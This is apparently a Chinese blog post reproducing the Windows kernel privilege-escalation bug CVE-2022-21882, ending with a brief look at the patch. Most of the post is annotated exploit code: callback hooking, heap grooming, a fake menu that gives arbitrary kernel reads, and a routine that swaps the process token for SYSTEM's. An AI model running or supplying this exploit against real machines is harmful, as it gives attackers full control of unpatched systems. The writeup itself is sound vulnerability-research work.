CVE-2022-21882复现

环境

windows 版本 21H2 操作系统内核版本19044.1320
代码地址:https://github.com/L4ys/CVE-2022-21882

前提介绍

攻击者在用户模式调用相关的 GUI API 来进行 kernel 调用,如 xxxMenuWindowProc、xxxSBWndProc、xxxSwitchWndProc 和 xxxTooltipWndProc。这些 kernel 函数调用会触发 xxxClientAllocWindowClassExtraBytes 回调。攻击者可以通过 hook KernelCallbackTable 中的 xxxClientAllocWindowClassExtraBytes 来拦截回调,使用 NtUserConsoleControl 方法来设置 tagWND 对象的 ConsoleWindow flag,这一步操作可以修改窗口类型。
回调后,系统不会检查窗口的类型是否修改,由于类型混淆会导致错误的数据被应用。Flag 修改前系统会将 tagWND.WndExtra 保存为一个用户模式指针,flag 设置后,系统会将 tagWND.WndExtra 看作为 kernel desktop heap 的偏移量,攻击者控制了该偏移量后,就可以引发越界读和写。

tagWND结构体

struct tagWND
{
    ULONG64 hWnd;                // + 0x00
    ULONG64 OffsetToDesktopHeap; // + 0x08  相对桌面堆偏移量
    ULONG64 state;               // + 0x10
    DWORD dwExStyle;             // + 0x18
    DWORD dwStyle;               // + 0x1C
    BYTE gap[0xa8];
    ULONG64 cbWndExtra;          // + 0xC8
    BYTE gap2[0x18];
    DWORD dwExtraFlag;           // + 0xE8
    BYTE gap3[0x3c];
    ULONG64 pExtraBytes;         // + 0x128  相对内核堆偏移量
};

代码解析

首先把未文档化的函数找到

  NtUserConsoleControl = (NTUSERCONSOLECONTROL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");
    NtUserMessageCall = (NTUSERMESSAGECALL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserMessageCall");
    NtCallbackReturn = (NTCALLBACKRETURN)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");
    RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");

FindHMValidateHandle这个函数则通过偏移找到,这个函数可以通过窗口句柄找到内核中的tagWnd结构,泄露内核信息。
在这里插入图片描述

HMVALIDATEHANDLE FindHMValidateHandle()
{
    HMVALIDATEHANDLE result = NULL;
    HMODULE hUser32 = LoadLibrary(L"user32.dll");

    PBYTE p = (PBYTE)GetProcAddress(hUser32, "IsMenu");
    for (int i = 0; i < 20; ++i)
    {
        if (0xe8 == *p++) {
            INT offset = *(PINT)p;
            result = (HMVALIDATEHANDLE)(p + 4 + offset);
            break;
        }
    }
    return result;
}//获取FindHMValidateHandle的地址

通过构造结构体注册两个窗口

    WNDCLASSEX WndClass = { 0 };
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0x20;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";
    RegisterClassEx(&WndClass);//结构体 使用的窗口注册一个窗口类

    WndClass.cbWndExtra = MAGIC_CB_WND_EXTRA;
    WndClass.lpszClassName = L"MagicClass";
    RegisterClassEx(&WndClass);//重新注册一个

找到窗口0跟窗口一 Wnd的偏移

    DWORD extra_to_wnd1_offset = 0;
    DWORD extra_to_wnd2_offset = 0;

    for (int j = 0; j < 5; ++j) {
        HMENU hMenu = CreateMenu();//创建一个弹出式窗口
        HMENU hHelpMenu = CreateMenu();
        AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));//在指定的菜单下追加一项
        AppendMenu(hMenu, MF_POPUP, (UINT_PTR)hHelpMenu, TEXT("help"));

        for (int i = 0; i < 50; ++i) {
            g_hWnd[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, hMenu, NULL, NULL);//创建普通窗口
            g_pWnd[i] = (struct tagWND*)HMValidateHandle(g_hWnd[i], 1);
        }
        for (int i = 2; i < 50; ++i) {
            DestroyWindow(g_hWnd[i]);
        }//创建50个窗口 获取用户态tagWnd地址 然后再销毁47个

        
        ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)g_hWnd[0] };
        NTSTATUS status = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));//将第一个窗口设置通过偏移寻址

        g_hWnd[2] = CreateWindowEx(NULL, L"MagicClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);//创建漏洞窗口
        g_pWnd[2] = (struct tagWND*)HMValidateHandle(g_hWnd[2], 1);//获取用户态tagWnd地址

        if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {//OffsetToDesktopHeap 相对桌面堆偏移量  pExtraBytes 相对内核堆偏移量
            extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;//偏移量相减
        }
        if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
            extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
        }

        if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {//
            printf("Unexpected memory layout, retry %d/5\n", j + 1);
            DestroyWindow(g_hWnd[0]);
            DestroyWindow(g_hWnd[1]);
            DestroyWindow(g_hWnd[2]);
            DestroyMenu(hMenu);
            DestroyMenu(hHelpMenu);
            if (j == 4) {
                printf("Give up\n");
                return 1;
            }
            continue;
        }
        printf("Offset of tagWND0->pExtraBytes and tagWND1 = %x\n", extra_to_wnd1_offset);
        printf("Offset of tagWND0->pExtraBytes and tagWND2 = %x\n", extra_to_wnd2_offset);
        break;
    }

hook xxxClientAllocWindowClassExtraBytes函数 修改了窗口二对应的offset为窗口一的offset

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
    if (*pSize == MAGIC_CB_WND_EXTRA) {//判断窗口的扩展内存长度是否一致
        // magicWND->dwExtraFLag |= 0x800
        printf("Set magicWND->dwExtraFlag |= 0x800\n");
        ULONG64 ConsoleCtrlInfo[2] = { 0 };
        ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[2];
        NTSTATUS ret = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));//使用NtUserConsoleControl 方法来设置tagWND 对象的ConsoleWindow flag 把窗口2的寻址方式变为offset

        // Set magicWND->pExtraBytes to fake offset
        printf("Retrun faked pExtraBytes: %llx\n", g_pWnd[0]->OffsetToDesktopHeap);
        ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap };
        return NtCallbackReturn(&Result, sizeof(Result), 0);//修改窗口一的寻址方式变为offset
    }
    return xxxClientAllocWindowClassExtraBytes(pSize);
}

NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID* pInfo)
{
    struct tagWND* pwnd = (struct tagWND*)pInfo[0];

    // explorer will try to free our faked pExtraBytes, block it to prevent BSOD
    if (pwnd->cbWndExtra == MAGIC_CB_WND_EXTRA)
        return 1;
    return xxxClientFreeWindowClassExtraBytes(pInfo);
}

创建窗口二 NtUserMessageCall函数调用时触发hook 调用MyxxxClientAllocWindowClassExtraBytes函数 修改窗口2的内存扩展为窗口1的内存扩展地址

NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);

SetWindowLongW将窗口0的cbWndExtra设置为0xFFFFFFF 使wnd[0]能够越界访问

SetWindowLong(g_hWnd[2], offsetof(struct tagWND, cbWndExtra) + 0x10, 0xFFFFFFFF);

创建一个新的fakemenu

    PVOID hHeap = GetProcessHeap();//检索调用进程的默认堆的句柄

    g_pFakeMenu = (struct tagMENU*)RtlAllocateHeap(hHeap, 0, 0xA0);//堆中分配一块内存
    g_pFakeMenu->ref = RtlAllocateHeap(hHeap, 0, 0x20);
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = RtlAllocateHeap(hHeap, 0, 0x200);
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = RtlAllocateHeap(hHeap, 0, 0x8);
    // cx / cy must > 0
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1; //创建一个假的窗口

修改窗口0的属性 然后用fakemenu替换窗口一的pmenu 于是完成了pmenu内核地址的泄露

    SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, dwStyle), style | WS_CHILD);

    ULONG64 pmenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pFakeMenu); 

获取token

    ULONG64 p = Read64(pmenu + 0x50); // pmenu->spwndNotify (tagWND)
    p = Read64(p + 0x10);             // pwnd->pti (THREADINFO)
    p = Read64(p + 0x1A0);            // pti->ppi (PROCESSINFO)
    p = Read64(p);                    // ppi.W32PROCESS.peProcess
    ULONG64 eprocess = p;

遍历进程,修改token,达到提权的作用

    do {
        p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
        ULONG64 pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET);
        if (pid == 4) {
            printf("System EPROCESS = %llx\n", p);

            ULONG64 pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET);
            printf("pSystem Token = %llx \n", pSystemToken);

            ULONG64 pCurrentToken = eprocess + EPROCESS_TOKEN_OFFSET;

            LONG_PTR old = SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, pExtraBytes), (LONG_PTR)pCurrentToken);
            SetWindowLongPtr(g_hWnd[1], 0, pSystemToken);
            SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(struct tagWND, pExtraBytes), (LONG_PTR)old);
            break;
        }
    } while (p != eprocess);

在这里插入图片描述

修补方案

在这里插入图片描述
这个是修补之前的

这个是修补之后的,可以明显看到函数的头部跟尾部加上了对tagWND结构的判定

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值